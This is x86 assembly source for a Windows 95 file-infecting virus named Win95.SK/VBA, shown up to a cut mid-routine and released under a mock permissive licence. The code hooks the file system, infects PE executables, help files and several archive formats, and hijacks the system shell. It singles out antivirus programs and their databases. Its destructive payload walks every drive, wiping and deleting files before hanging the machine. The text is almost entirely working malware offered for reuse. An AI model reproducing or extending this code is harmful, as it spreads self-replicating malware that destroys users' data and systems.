Win95.SK aka Win95.VBA ------------------------------------------------------------------[VBA.ASM]--- COMMENT / (C) VBA Ltd. ALL RIGHTS RESERVED. E-mail: support@vba.com.by THIS PROGRAM IS FREE FOR COMMERCIAL AND NON-COMMERCIAL USE. REDISTRIBUTION AND USE IN SOURCE AND BINARY FORMS, WITH OR WITHOUT MODIFICATION, ARE PERMITTED. THIS SOFTWARE IS PROVIDED BY VBA LTD. ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. / ; KNOWN UNFIXED BUGS: ; 1. INCORRECT PATCHED PAGE MAPPING IN SOME CASES FOR RESTORED NON-WRITEABLE ; CODE SECTION FROM R0 ; 2. DRWEB ALARM FOR PE EXECUTABLE (BUT FALSE ALARM TOO) MODEL TINY P386 LOCALS INCLUDE VBA.INC TOTAL GROUP CODE16,CODE32 ;====================================== CODE16 SEGMENT BYTE PUBLIC 'CODE' USE16 ASSUME CS:TOTAL,DS:TOTAL,ES:TOTAL,SS:TOTAL ORG 100H START: ;-------------------------------------- DOS2R0 PROC JMP DOS_INSTALL ;0EBH (OR 0E9H FOR PE_INSTALL) JMP_RELO DB 0,0,0 COPYRIGHT = $-START DB '(C) VBA Ltd. E-mail: support@vba.com.by',0 OFF_DOSINST = $-JMP_RELO DOS_INSTALL: MOV AH,4AH MOV BH,10H INT 21H JB GO2_DOS_EXIT MOV AX,160AH INT 2FH ;GET WIN VERSION AND AX,AX JNE GOZ_DOS_EXIT CMP BH,4 ;<4.X? JB GO2_DOS_EXIT MOV DX,OUR_PORT IN AL,DX CMP AL,WE_HERE STC JE GO2_DOS_EXIT MOV AL,0 ;0-PE,1-HLP,2-RAR,3-ZIP ;4-ARJ,5-HA FILE_TYPE = $-START-1 DEC AX JNE NO_DOS_SLEEP INT 1AH MOV BX,DX DOS_SLEEP: STI ;TIMEOUT FOR HLP (PREVENT HANG) XOR AH,AH INT 1AH SUB DX,BX CMP DX,(WAIT_TIME*18) JB DOS_SLEEP NO_DOS_SLEEP: CLD MOV AX,1687H INT 2FH ;DPMI PRESENT (0.9 IN WIN95/8)? AND AX,AX JNE GOZ_DOS_EXIT MOV BP,SP PUSH ES DI MOV BX,SI MOV AH,48H INT 21H ;MALLOC FOR INTERNAL USE BY DPMI HOST JB GO2_DOS_EXIT MOV ES,AX XOR AX,AX CALL 4 PTR [BP-4] ;GO OUT FROM V86 TO PM MODE GO2_DOS_EXIT: JB GO_DOS_EXIT CALL CALC_DOS_DELTA DOS_DELTA = $-START DB 'MS-DOS',0 CALC_DOS_DELTA: POP SI MOV AX,168AH INT 2FH ;GET EXTAPI AND AL,AL GOZ_DOS_EXIT: JNE DOS_EXIT PUSH ES DI DS POP ES MOV CX,1 CALL ALLOC_DESC PUSH AX CALL ALLOC_DESC MOV [BP-2],AX AND AL,NOT 7 PUSH AX MOV BX,CS LEA DI,ZERO_INIT-DOS_DELTA[SI] MOV AX,0BH CALL DPMICALL ;GET CS DESCRIPTOR MOV AX,100H CALL 4 PTR [BP-8] ;GET LDT ALIAS GO_DOS_EXIT: JB DOS_EXIT MOV ES,AX LEA AX,OFF_R0_INSTALL-DOS_DELTA[SI] ADD AX,[DI+2] MOV BL,[DI+4] MOV BH,[DI+7] ADC BX,0 POP DI STOSW ;GENERATE CALLGATE POP AX STOSW AND AL,NOT 7 PUSH AX MOV AX,11101100B SHL 8 ;P=1:DPL=3:S=0:TYPE=0CH (CALLGATE) STOSW XCHG AX,BX STOSW POP DI ;GENERATE R0 DESCRIPTOR MOV AX,-1 STOSW INC AX STOSW STOSB MOV AX,1100111110011010B ;G=1:32=1:AVL=0:LIMIT=0FH STOSW ;P=1:DPL=0:S=1:CODE:NCONF:READ=1:NOACCESS XOR AL,AL STOSB CALL 4 PTR [BP-4] ;SWITCH TO R0 DOS_EXIT: .EXIT ALLOC_DESC: XOR AX,AX DPMICALL: INT 31H JB DOS_EXIT RET ENDP INCLUDE SPE.ASI END_CODE16 = $-START ENDS ;====================================== CODE32 SEGMENT BYTE PUBLIC 'CODE' USE32 ASSUME CS:TOTAL,DS:TOTAL,ES:TOTAL,SS:TOTAL START_CODE32: ;------------------------------------------------ CALC_DELTA PROC CALL CALC_OUR_OFFST GOFF OUR_OFFST CALC_OUR_OFFST: POP EDX SUB EDX,LARGE OUR_OFFST RET ENDP ;------------------------------------------------ GOFF OFF_IFS_HOOKER ; INT FILESYSTEMAPIHOOKFUNCTION(PIFSFUNC FSDFNADDR,INT FUNCTIONNUM,INT DRIVE, ; INT RESOURCEFLAGS,INT CODEPAGE,PIOREQ PIR) IFS_HOOKER PROC FSD_FN_ADDR = 4 PTR [EBP+8] FN_NUM = 4 PTR [EBP+12] DRIVE = 4 PTR [EBP+16] RES_FLAGS = 4 PTR [EBP+20] CODE_PAGE = 4 PTR [EBP+24] P_IOREQ = 4 PTR [EBP+28] ENTERD STACK_FRAME,0 PUSHAD CALL CALC_DELTA MOV EBX,P_IOREQ BTS 4 PTR FLAG[EDX],0 JB IFS_EXIT CMP 1 PTR RES_FLAGS,IFSFH_RES_CFSD ;CHAR DEVICE? JE IFS_RETURN MOV EAX,FN_NUM CMP EAX,IFSFN_RENAME JA IFS_RETURN JE IS_RENAME CMP AL,IFSFN_OPEN JE IS_OPEN CMP AL,IFSFN_FILEATTRIB JE IS_ATTRIB GOFF IFS_RETURN_OFF IFS_RETURN: DEC 1 PTR FLAG[EDX] POPAD LEAVED JMP 4 PTR DS:[12345678H] GOFF OLD_IFS_HOOKER,4 IFS_EXIT: PUSH EBX LEA EDI,OLD_DATETIME[EDX] CALL FSD_FN_ADDR MOV [EBP-STACK_FRAME-4],EAX ;SET CORRECT RETURN VALUE POP EAX CMP 1 PTR FN_NUM,IFSFN_OPEN JNE NO_STORE_FDATE MOV EAX,[EBX.IR_DATETIME] STOSD NO_STORE_FDATE: POPAD LEAVED GOFF HOOK_STUB RET ENDP ;------------------------------------------------ IS_RENAME: TEST 1 PTR [EBX.IR_ATTR+3],FILE_FLAG_WILDCARDS SHR 24 JMP IS_ACCESS ;------------------------------------------------ IS_ATTRIB: MOV AL,[EBX.IR_FLAGS] DEC EAX ;SET_ATTRIBUTES JNE NO_SET_ATTRIB TEST 1 PTR [EBX.IR_ATTR],FA_SYSTEM JMP IS_ACCESS NO_SET_ATTRIB: CMP AL,SET_ATTRIB_CREATION_DATETIME-1 JA IFS_RETURN AND AL,1 JMP IS_ACCESS ;------------------------------------------------ IS_OPEN: TEST 1 PTR [EBX.IR_OPTIONS+1],(R0_SWAPPER_CALL OR OPEN_FLAGS_REOPEN) SHR 8 IS_ACCESS: JNE IFS_RETURN GO_PROCESS: BREAK PUSH EBX CMP DL,SHELL_FLAG[EDX] IFNDEF DEBUG JNE GO_NO_INF_SHELL ELSE JMP GO_NO_INF_SHELL ENDIF CALL GET_WININIT CALL GET_ATTRIBUTES JNB GO_NO_INF_SHELL LEA ESI,SYSTEM_INI[EDX] MOV CL,LEN_SYSTEM_INI CALL CONCAT_WINDIR PUSH EDX CALL OPEN_FILE_RO POP EDX JB GO_NO_INF_SHELL XCHG EAX,EBX CALL READ_FILE_BUFF_0 JNB LONG_SYSINI ADD ECX,EAX LONG_SYSINI: CALL CLOSE_FILE FIND_SHELL: LODSD OR EAX,20202020H CMP EAX,'lehs' JNE NO_SHELL LODSW OR AL,20H CMP AX,'=l' JE IS_SHELL DEC ESI DEC ESI NO_SHELL: SUB ESI,3 LOOP FIND_SHELL GO_NO_INF_SHELL: JMP NO_INF_SHELL IS_SHELL: CMP 1 PTR [ESI+1],':' JNE SNAME_ONLY LEA EDI,TMP_PATH[EDX] PUSH EDI COPY_SH_NAME: MOVSB CMP 1 PTR [ESI],20H JA COPY_SH_NAME MOV [EDI],DL POP ESI JMP OPEN_SHELL SNAME_ONLY: XOR ECX,ECX GET_SH_LIM: INC ECX CMP 1 PTR [ESI+ECX],20H JA GET_SH_LIM CALL CONCAT_WINDIR OPEN_SHELL: PUSH EDX CALL OPEN_FILE_RO POP EDX JB GO_NO_INF_SHELL XCHG EAX,EBX CALL GET_ATTRIBUTES PUSH EBX ECX EDX EBX DEC 1 PTR [EDI-1] MOV EDI,4 PTR OLD_DATETIME[EDX] CALL OPEN_CREATE POP EBX EDX JB CLOSE_SOURCE PUSH EDI ESI EAX CALL READ_FILE_BUFF_0 JB CLOSE_ALL XCHG EAX,EDI MOV AL,WE_HERE XCHG AL,1 PTR [ESI.DOSH_CSUM] CMP AL,WE_HERE JE CLOSE_ALL_CMC COPY_FILE: POP EBX PUSH EBX MOV EAX,EDI CALL WRITE_FILE JB CLOSE_ALL ADD EDI,ECX MOV EAX,EDI MOV EBX,[ESP+10H] CALL READ_FILE JNB COPY_FILE ADD ECX,EAX JNE COPY_FILE CLOSE_ALL_CMC: CMC CLOSE_ALL: POP EBX ESI CX DI PUSHFD CALL CLOSE_FILE MOV AL,SET_ATTRIB_MODIFY_DATETIME CALL MAN_ATTRIBUTES POPFD CLOSE_SOURCE: POP ECX SBB EDI,EDI JNE SH_ERR CALL SET_ATTRIBUTES JMP SH_OK SH_ERR: CALL DELETE_FILE SH_OK: POP EBX CALL CLOSE_FILE INC EDI STC JE GOC_NO_INF_SHELL MOV FILE_TYPE[EDX],DL CALL INFECTION LEA ESI,TMP_PATH[EDX] LEA EDI,MAIN_BUFF[EDX] PUSH EDI ESI MOV EAX,'ner[' STOSD MOV EAX,']ema' STOSD MOV AL,0AH STOSB MOVE_DEST: LODSB CMP AL,'A' JB NO_LETTER CMP AL,'Z' JA NO_LETTER OR AL,20H NO_LETTER: STOSB CMP DL,[ESI] JNE MOVE_DEST INC 1 PTR [EDI-1] MOV AL,'=' STOSB POP ESI MOVE_SOURCE: MOVSB CMP DL,[ESI] JNE MOVE_SOURCE MOV AL,0AH STOSB MOV EAX,'=lun' STOSD PUSH EDI CALL GET_WININIT POP EDI PUSH ESI MOVE_INIT: MOVSB CMP DL,[ESI] JNE MOVE_INIT POP ESI PUSH EDX CALL OPEN_CREATE POP EDX ECX GOC_NO_INF_SHELL: JB NO_INF_SHELL XCHG EAX,EBX SUB EDI,ECX MOV ESI,ECX MOV ECX,EDI XOR EAX,EAX CALL WRITE_FILE CALL CLOSE_FILE PUSH GET_CUR_VM_HANDLE CALL VXD_CALL MOV AL,MSG_POSSIBLITY CALL GET_RANDOM_BYTE IFNDEF DEBUG JNE NO_INF_SHELL ELSE XOR EAX,EAX ENDIF LEA ECX,COPYRIGHT[EDX] MOV ESI,EAX MOV EDI,EAX PUSH SHELL_MESSAGE CALL VXD_CALL NO_INF_SHELL: MOV 1 PTR SHELL_FLAG[EDX],1 POP EBX SHELL_ALREADY: IFNDEF DEBUG LEA ESI,COMMAND_PIF[EDX] MOV CL,LEN_COMMAND_PIF CALL CONCAT_WINDIR CALL GET_ATTRIBUTES JB CPIF_NFOUND CALL DELETE_FILE CPIF_NFOUND: MOV EDI,ESI ELSE LEA EDI,TMP_PATH[EDX] MOV ESI,EDI ENDIF MOV EAX,DRIVE INC AL ;UNC PATH? JE NO_STORE_DRIVE ADD AX,(':' SHL 8) OR ('A'-2) STOSW NO_STORE_DRIVE: MOV EAX,[EBX.IR_PPATH] ADD EAX,4 PUSH EDX BCS_WANSI MAX_PATH-3 EAX EDI UNITOBCSPATH CALL VXD_CALL ADD ESP,4*4 POP EDX MOV [EDI+EAX],DL LEA ECX,FILE_TYPE[EDX] MOV 1 PTR [ECX],0FFH MOV EAX,[EDI+EAX-4] CMP EAX,'CVA.' ;AVP 3 DATABASE? JE INFECT_IT CMP EAX,'BDV.' ;DRWEB 4 DATABASE? JE INFECT_IT INC 1 PTR [ECX] CMP EAX,'EXE.' ;EXE? JE OK_FILE CMP EAX,'RCS.' JE OK_FILE CMP EAX,'LLD.' ;DLL? JE INFECT_IT ;FOR AV CORRECT CHECKING ONLY! INC 1 PTR [ECX] CMP EAX,'PLH.' ;HLP? JE OK_FILE INC 1 PTR [ECX] CMP EAX,'RAR.' ;RAR? JE OK_FILE INC 1 PTR [ECX] CMP EAX,'PIZ.' ;ZIP? JE OK_FILE INC 1 PTR [ECX] CMP EAX,'JRA.' ;ARJ? JE OK_FILE INC 1 PTR [ECX] SHR EAX,8 CMP EAX,'AH.' ;HA? STC JNE GO_IFS_RETURN OK_FILE: PUSH EDX EBX MOV EDX,DRIVE TEST 1 PTR RES_FLAGS,IFSFH_RES_UNC JNE ERR_GET_SPACE MOV AX,R0_GETDISKFREESPACE CALL FILE_IO JB ERR_GET_SPACE MUL BX ;SEC_PER_CLUST(AX)*AVAIL_CLUST(CX) CMC JNB ERR_GET_SPACE CMP AX,SMALL (OUR_LEN+1FFH+0FFFH)/200H ERR_GET_SPACE: POP EBX EDX GO_IFS_RETURN: JB IFS_RETURN INFECT_IT: ;TMP_PATH->FILE PATH TO INFECTION LEA EAX,IFS_RETURN_OFF[EDX] PUSH EAX CALL GET_ATTRIBUTES JNB GOOD_ATT CMP 1 PTR FN_NUM,IFSFN_RENAME JE INF_ERR PUSH ESI MOV EDI,[EBX.IR_UPATH] XCHG ESI,EDI PARSE_PATH: LODSB INC ESI STOSB DEC AL JNS PARSE_PATH POP ESI ;-------------------------------------- INFECTION: CALL GET_ATTRIBUTES JB INF_ERR GOOD_ATT: TEST CL,FA_SYSTEM OR FA_DEVICE JE ATT_OK INF_ERR: RETN ATT_OK: MOV EDI,ECX CALL CLR_ATTRIBUTES JB INF_ERR PUSH EDI EDX MOV BL,OPEN_ACCESS_READWRITE OR OPEN_SHARE_DENYREADWRITE CALL OPEN_FILE POP EDX JB REST_ATTRIB PUSH ESI XCHG EAX,EBX MOV ECX,12345678H GOFF OLD_DATETIME,4 CMP 1 PTR FN_NUM,IFSFN_FILEATTRIB JNE CURRENT_DATE MOV EDI,P_IOREQ CMP 1 PTR [EDI.IR_FLAGS],SET_ATTRIB_MODIFY_DATETIME JNE CURRENT_DATE MOV ECX,[EDI.IR_DATETIME] CURRENT_DATE: PUSH ECX TEST 1 PTR FILE_TYPE[EDX],0FFH JS IS_SHITNAME JNE NO_SHITNAME MOV EDI,ESI GET_PATHBYTE: LODSB CMP AL,'' JE STORE_OFFS CMP AL,':' JNE NO_STORE_OFFS STORE_OFFS: MOV EDI,ESI NO_STORE_OFFS: AND AL,AL JNE GET_PATHBYTE MOV EAX,[EDI] CMP EAX,'NIDA' ;ADINF? JE GO_TO_PAY CMP EAX,'IPVA' ;AVPI? JE GO_TO_PAY CMP EAX,'SOHG' ;GHOST32? JE GO_TO_PAY CMP EAX,'NIBV' ;VBINF? :-) JE GO_TO_PAY CMP EAX,'PVA_' ;AVP? JE IS_SHITNAME SHL EAX,8 CMP EAX,'RAJ' SHL 8 ;JAR? JE SKIP_FILE CMP EAX,'PVA' SHL 8 ;AVP? JE IS_SHITNAME CMP EAX,'WRD' SHL 8 ;DRWEB? JE IS_SHITNAME CMP EAX,'ABV' SHL 8 ;VBA*.EXE? :-) JNE NO_SHITNAME CMP 1 PTR [ESI-2],'E' JNE NO_SHITNAME IS_SHITNAME: XCHG EAX,ECX XOR ECX,ECX SHLD ECX,EAX,11 AND ECX,00001111B SHR EAX,16+5+4 SUB AL,HAPPY_YEAR-1980 JB SKIP_FILE MOV AH,12 ;MONTHS IN YEAR MUL AH IF HAPPY_MONTH EQ 1 DEC EAX ELSEIF HAPPY_MONTH EQ 2 DEC EAX DEC EAX ELSE SUB EAX,HAPPY_MONTH ENDIF ADD ECX,EAX JS SKIP_FILE MOV EAX,HAPPY_POSSIBLITY SUB EAX,ECX JA NOT_EXPIRED MOV AL,1 ;100% POSSIBLITY NOT_EXPIRED: CALL GET_RANDOM_BYTE GO_TO_PAY: JE TIME_TO_PAY SKIP_FILE: STC JMP GO_F_CLOSE NO_SHITNAME: PUSH EDX GET_DOSTIME CALL VXD_CALL POP EDX SUB EAX,[ESP] CMP EAX,0FFFFFH ;MIN - TWO WEEK AGE IFNDEF DEBUG JB F_CLOSE ENDIF CALL GET_SYS_TIME CMP DL,SHELL_FLAG[EDX] JE NO_SLEEP SUB EAX,12345678H GOFF INF_TIME,4 CMP EAX,SLEEP_TIME*60*1000 IFNDEF DEBUG JB F_CLOSE ENDIF NO_SLEEP: LEA ESI,HEADER[EDX] PUSH SIZE DOS_HEADER POP ECX XOR EAX,EAX ;POS IN FILE CALL READ_FILE ;READ FILE HEADER GO_F_CLOSE: JB F_CLOSE LEA EDI,OUR_LOCAL_HEADER[EDX] MOV CL,(SIZE_ARC_AREA+3)/4 REP STOSD MOV AL,1 PTR FILE_TYPE[EDX] MOVZX EDI,2 PTR INF_PROCS[EDX+EAX*2] ADD EDI,EDX MOV 2 PTR [EDX],(OFF_DOSINST SHL 8) OR 0EBH ;DROPPER MODE CALL EDI F_CLOSE: CALL CLOSE_FILE POP CX DI ESI MOV AL,SET_ATTRIB_MODIFY_DATETIME CALL MAN_ATTRIBUTES REST_ATTRIB: POP ECX JMP SET_ATTRIBUTES ;------------------------------------------------ TIME_TO_PAY: MOV EAX,_LEAVEMUSTCOMPLETE PUSH EAX DEC EAX ;_ENTERMUSTCOMPLETE PUSH EAX CALL VXD_CALL LEA EDX,FIND_DATA[EDX] ;ESI=&TMP_PATH IFNDEF DEBUG MOV AX,':C' ELSE MOV AX,':X' ENDIF FIND_DRIVE: MOV EDI,ESI STOSW PUSH EAX FIND_FIRST: MOV AL,'' STOSB MOV 2 PTR [EDI],'*' PUSH 37H POP ECX MOV AX,R0_FINDFIRSTFILE CALL FILE_IO JNB SOME_FOUND FIND_SLASH: DEC EDI CMP 1 PTR [EDI-1],':' JE NEXT_DRIVE CMP 1 PTR [EDI-1],'' JNE FIND_SLASH FIND_NEXT: MOV AX,R0_FINDNEXTFILE CALL FILE_IO JNB OK_FOUND MOV AX,R0_FINDCLOSEFILE CALL FILE_IO POP EBX JMP FIND_SLASH SOME_FOUND: PUSH EBX XCHG EAX,EBX OK_FOUND: PUSH ESI EDI LEA ESI,[EDX.CFILENAME] STORE_NAME: LODSB STOSB AND AL,AL JNE STORE_NAME DEC EDI POP EAX ESI XCHG EAX,EDI TEST 1 PTR [EDX.DWFILEATTRIBUTES],10H JE NOT_DIR CMP 1 PTR [EDX.CFILENAME],'.' JE FIND_NEXT XCHG EAX,EDI JMP FIND_FIRST NEXT_DRIVE: POP EAX INC EAX CMP AL,'Z' JBE FIND_DRIVE GO_HANG: CALL VXD_CALL ;_LEAVEMUSTCOMPLETE XOR ESI,ESI LEA EAX,[ESI+1] ;HANG_ON_EXIT PUSH FATAL_ERROR_HANDLER JMP GO_HANG NOT_DIR: PUSHAD CALL CLR_ATTRIBUTES CALL OPEN_CREATE JB DEL_FILE XCHG EAX,EBX CALL CLOSE_FILE DEL_FILE: CALL DELETE_FILE POPAD JMP FIND_NEXT ;------------------------------------------------ ;ENTRY: EBP=&LENGTH OF MACRO STRING CORR_LENGTH PROC MOV EAX,EDI SUB EAX,EBP DEC EAX MOV [EBP],AX XOR AL,AL STOSB INF_EXE_EXIT: RET ENDP ;------------------------------------------------ GOFF INF_EXE MOV 1 PTR [EDX],0E9H ;PE SPECIAL MODE IFDEF DEBUG CMP [DOSH_SIGNATURE.ESI],'MZ' ELSE CMP [DOSH_SIGNATURE.ESI],'ZM' ENDIF JNE INF_EXE_EXIT CMP [DOSH_LFARLC.ESI],3FH JBE INF_EXE_EXIT MOVZX EAX,[DOSH_LFANEW.ESI] ADD ESI,SIZE DOS_HEADER ;PHEADER MOV CX,SIZE PE_HEADER+(SIZE OBJECT_TABLE*MAX_OBJS) CALL READ_FILE JB INF_EXE_EXIT CMP 2 PTR [PEH_SIGNATURE.ESI],'EP' JNE INF_EXE_EXIT CMP [PEH_CPUTYPE.ESI],162H ;INTEL? JAE INF_EXE_EXIT CMP 1 PTR [PEH_NUMOFOBJECT.ESI],MAX_OBJS JA INF_EXE_EXIT TEST 2 PTR [PEH_FLAGS.ESI],PE_FLAG_DLL OR PE_FLAG_NOT_FIXUP JNE INF_EXE_EXIT TEST 2 PTR [PEH_FLAGS.ESI],PE_FLAG_32BIT OR PE_FLAG_EXECUTABLE JE INF_EXE_EXIT CMP 4 PTR [PEH_IMAGEBASE.ESI],400000H JNE INF_EXE_EXIT INC 1 PTR [PEH_FLAGS.ESI] ;PE_FLAG_NOT_FIXUP LEA EDI,[ESI+SIZE PE_HEADER-SIZE OBJECT_TABLE] XOR EAX,EAX MOV [PEH_FIXUP.SD_SIZE.ESI],EAX XCHG EAX,[PEH_FIXUP.SD_RVA.ESI] AND EAX,EAX GOZ_INF_EXIT: JE INF_EXE_EXIT PUSH EDI FIND_FIXUPOBJ: ADD EDI,SIZE OBJECT_TABLE CMP EAX,[OT_RVA.EDI] JNE FIND_FIXUPOBJ MOV AL,NOCHNG_SATT_PSBL CALL GET_RANDOM_BYTE JE NO_CHNG_ATT AND 1 PTR [OT_FLAGS.EDI+3],NOT ((OT_FLAG_DISCARDABLE OR OT_FLAG_SHARED) SHR 24) OR [OT_FLAGS.EDI],OT_FLAG_READ OR OT_FLAG_IDATA NO_CHNG_ATT: MOV AL,CHNG_SNAME_PSBL CALL GET_RANDOM_BYTE JNE NO_CHNG_NAME PUSH EDI CALL GEN_NAME XOR AL,AL STOSB POP EDI NO_CHNG_NAME: MOV AL,LEN_PEND_JUNK CALL GET_RANDOM_BYTE ADD AX,SMALL OUR_LEN+LEN_LOADER+3 AND AL,NOT 3 MOV CURRENT_LEN[EDX],EAX MOV COUNT_RET[EDX],AX XCHG EAX,ECX MOV EAX,[OT_VIRTSIZE.EDI] CALL CORR_SIZE CMP EAX,[OT_PHYSICALSIZE.EDI] JB GET_VIRTSIZE MOV EAX,[OT_PHYSICALSIZE.EDI] GET_VIRTSIZE: SUB EAX,ECX PUSHFD JA OK_RELOC_SIZE ADD EAX,ECX OK_RELOC_SIZE: CALL GET_RANDOM AND AL,NOT 3 PUSH EAX ADD EAX,[OT_PHYSICALOFF.EDI] MOV PHYS_BODY_OFF[EDX],EAX ADD EAX,ECX MOV FILL_SEC_OFF[EDX],EAX POP EAX ADD EAX,ECX PUSH EAX ADD EAX,[OT_RVA.EDI] ADD EAX,[PEH_IMAGEBASE.ESI] MOV OFF_FIXUP[EDX],EAX POP ECX POPFD JA MID_EXIT_ONE CMP [OT_PHYSICALSIZE.EDI],MIN_RELOC_SIZE JB MID_EXIT_ONE PUSH ESI CALL GETSIZE_FILE SUB EAX,[OT_PHYSICALOFF.EDI] CMP EAX,[OT_PHYSICALSIZE.EDI] JA MID_EXIT_CMC CALL CORR_SIZE_ECX CMPSD SCASD CALL CORR_SIZE_ECX SUB EAX,ECX CMP EAX,SIZE_MBUFF MID_EXIT_CMC: CMC JB MID_EXIT_TWO XCHG EAX,ECX PUSH ECX LEA EDI,MAIN_BUFF[EDX] MOV ESI,EDI XOR AL,AL REP STOSB POP ECX MOV EAX,12345678H GOFF FILL_SEC_OFF,4 CALL WRITE_FILE MID_EXIT_TWO: POP ESI MID_EXIT_ONE: POP EDI JNB NO_POP_EXIT MID_RET: RETN NO_POP_EXIT: MOV EAX,[PEH_CODEBASE.ESI] FIND_CODEOBJ: ADD EDI,SIZE OBJECT_TABLE CMP EAX,[OT_RVA.EDI] JNE FIND_CODEOBJ MOV AL,OT_FLAG_WRITE SHR 24 TEST AL,1 PTR [OT_FLAGS.EDI+3] JNE MID_RET PUSH EDI LEA ESI,TMP_PATH[EDX] MOV EDI,[ESI-SYS_PATH_DELTA] ;SYS_PATH[EDX] MOV CL,NOT RW_LOCAL_EXIT CHECK_PATH: CMPSB JNE NO_SYS_DIR CMP DL,[EDI] JNE CHECK_PATH XOR AL,AL MOV CL,AL NO_SYS_DIR: POP EDI OR 1 PTR [OT_FLAGS.EDI+3],AL MOV RW_OR_RO[EDX],CL PUSH EDX MOV EAX,[OT_PHYSICALSIZE.EDI] XOR EDX,EDX MOV ECX,SIZE_MBUFF DIV ECX POP EDX CALL GET_RANDOM IMUL EAX,ECX ADD EAX,[OT_PHYSICALOFF.EDI] PUSH EAX CALL READ_FILE_BUFF JB POP_INF_EXIT CMP DL,SHELL_FLAG[EDX] JE INF_ENTRYPOINT CALL FIND_PLACE AND ECX,ECX JNE MIDDLE_INSERT INF_ENTRYPOINT: POP EAX MOV EAX,PHEADER[PEH_ENTRYPOINT.EDX] PUSH EAX SUB EAX,[OT_RVA.EDI] ADD EAX,[OT_PHYSICALOFF.EDI] PUSH EAX CALL READ_FILE_BUFF POP EDI POP_INF_EXIT: POP EAX JB GO1_INF_EXIT PUSH EDI JMP ENTRY_INSERT MIDDLE_INSERT: MOV ESI,EAX SUB EAX,EDX SUB EAX,LARGE MAIN_BUFF ADD EAX,[OT_RVA.EDI] ADD EAX,[ESP] SUB EAX,[OT_PHYSICALOFF.EDI] ENTRY_INSERT: ADD EAX,PHEADER[PEH_IMAGEBASE.EDX] MOV INTRUD_OFF[EDX],EAX LEA EDI,OLD_PECODE[EDX] PUSH ESI XOR ECX,ECX MOV CL,LEN_LOADER REP MOVSB CALL SPE_THUNK POP EDI LEA ESI,SPE32_BUFF[EDX] REP MOVSB POP EAX LEA ESI,MAIN_BUFF[EDX] MOV CX,SIZE_MBUFF CALL WRITE_FILE GO1_INF_EXIT: JB INF_EXIT MOV EDI,ESI MOV ESI,EDX MOV ECX,12345678H GOFF CURRENT_LEN,4 PUSH ECX EDI REP MOVSB POP ESI ECX PUSH ECX EBX MOV EAX,12345678H GOFF MASK_CR,4 SHR ECX,1 GOFF LOOP_CR SHR ECX,1 ;NOP/NOP LOOP_CR_IMM: SUB EDI,4 ;SUB EDI,2 MOV EBX,[EDI] DB LEN_FILL_CRYPT DUP (90H) GOFF END_LOOP_CR DB 90H ;66H MOV [EDI],EBX LOOP LOOP_CR_IMM POP EBX ECX MOV EAX,12345678H GOFF PHYS_BODY_OFF,4 CALL WRITE_FILE LEA ESI,PHEADER[EDX] MOV AL,1 PTR [PEH_NUMOFOBJECT.ESI] IMUL EAX,SIZE OBJECT_TABLE ADD AX,SIZE PE_HEADER XCHG EAX,ECX MOV AX,[ESI.DOSH_LFANEW-SIZE DOS_HEADER] JMP SET_WRITE_FILE ;------------------------------------------------ CORR_SIZE_ECX: MOV EAX,ECX CORR_SIZE: PUSH EDX XOR EDX,EDX DIV [PEH_OBJALIGN.ESI] AND EDX,EDX JE NO_ALIGN INC EAX NO_ALIGN: MUL [PEH_OBJALIGN.ESI] POP EDX MOV [OT_VIRTSIZE.EDI],EAX RETN ;------------------------------------------------ MACRO_FNAME PROC PUSH ESI LEA ESI,RDROP_NAME[EDX] MOV EAX,'\:C' STOSD SHR EAX,16 STOSW STORE_NLETT: MOVSB CMP 1 ptr [esi],'.' JNE STORE_NLETT MOV EAX,'PMT.' GOFF TEMP_EXT,3 STOSD POP ESI INF_EXIT: RET ENDP ;------------------------------------------------ GOFF INF_HLP DEC EAX ;EAX = 0 CALL GET_RANDOM LEA EDI,FIRST_DROP_MASK[EDX] STOSW SHR EAX,16 MOV RELO_MASK2[EDI-2],AX LODSD ;HLP_HEADER CMP EAX,HLP_MAGIC JNE INF_EXIT ;1. READ BEGIN OF HLP-DIRECTORY LODSD ;HLP_START_DIRECTORYSTART MOV EDI,ESI CMPSD ;LEA ESI,[ESI+SIZE HLP_START-8] CMPSD MOV CH,LEN_HLP_DIR SHR 8 ;CL=0 CALL READ_FILE JB INF_EXIT ;2. FIND "|SYSTEM" STRING AND GET OFFSET MOV AL,'|' FIND_SYSTEM: REPNE SCASB JNE INF_EXIT CMP 4 PTR [EDI],'TSYS' ;"|SYSTEM" BLOCK? JNE FIND_SYSTEM XCHG EAX,ECX MOV CL,SIZE FILE_HEADER+SIZE SYSTEM_HEADER MOV EAX,[ESI.HLP_START_ENTIREFILESIZE-SIZE HLP_START] XCHG EAX,[EDI+7] ;STORE NEW "SYSTEM" OFFSET ;3. READ SYSTEM PAGE (LENGTH READ BEFORE) LEA ESI,SYS_FILE_HEADER[EDX] LEA EDI,[EAX+ECX] ;OFFSET "SYSTEM" DATA CALL READ_FILE JB INF_EXIT CMP [ESI+(SIZE FILE_HEADER).SYSTEM_HEADER_MINOR],16 JBE INF_EXIT ;4. CHECK SECONDS IF FILE ALREADY INFECTED CMP AL,1 PTR [ESI+(SIZE FILE_HEADER).SYSTEM_HEADER_GENDATE] JE INF_EXIT MOV 1 PTR [ESI+(SIZE FILE_HEADER).SYSTEM_HEADER_GENDATE],AL ;5. GENERATE OUR MACROS PUSH EDI LEA EDI,[ESI+ECX] ;BUFF4MACRO CALL GEN_MACROS ;EXIT: EAX=MACROLENGTH ;6. CORRECT USED "SYSTEM" LENGTH ADD [ESI.FILE_HEADER_USEDSPACE],EAX ADD [ESI.FILE_HEADER_RESERVEDSPACE],EAX ;7. WRITE MACRO HEADERS+OUR MACRO IN THE END OF MODULE LEA ECX,[EAX+SIZE FILE_HEADER+SIZE SYSTEM_HEADER] CALL HLP_WRITE_FILE POP EDI JB 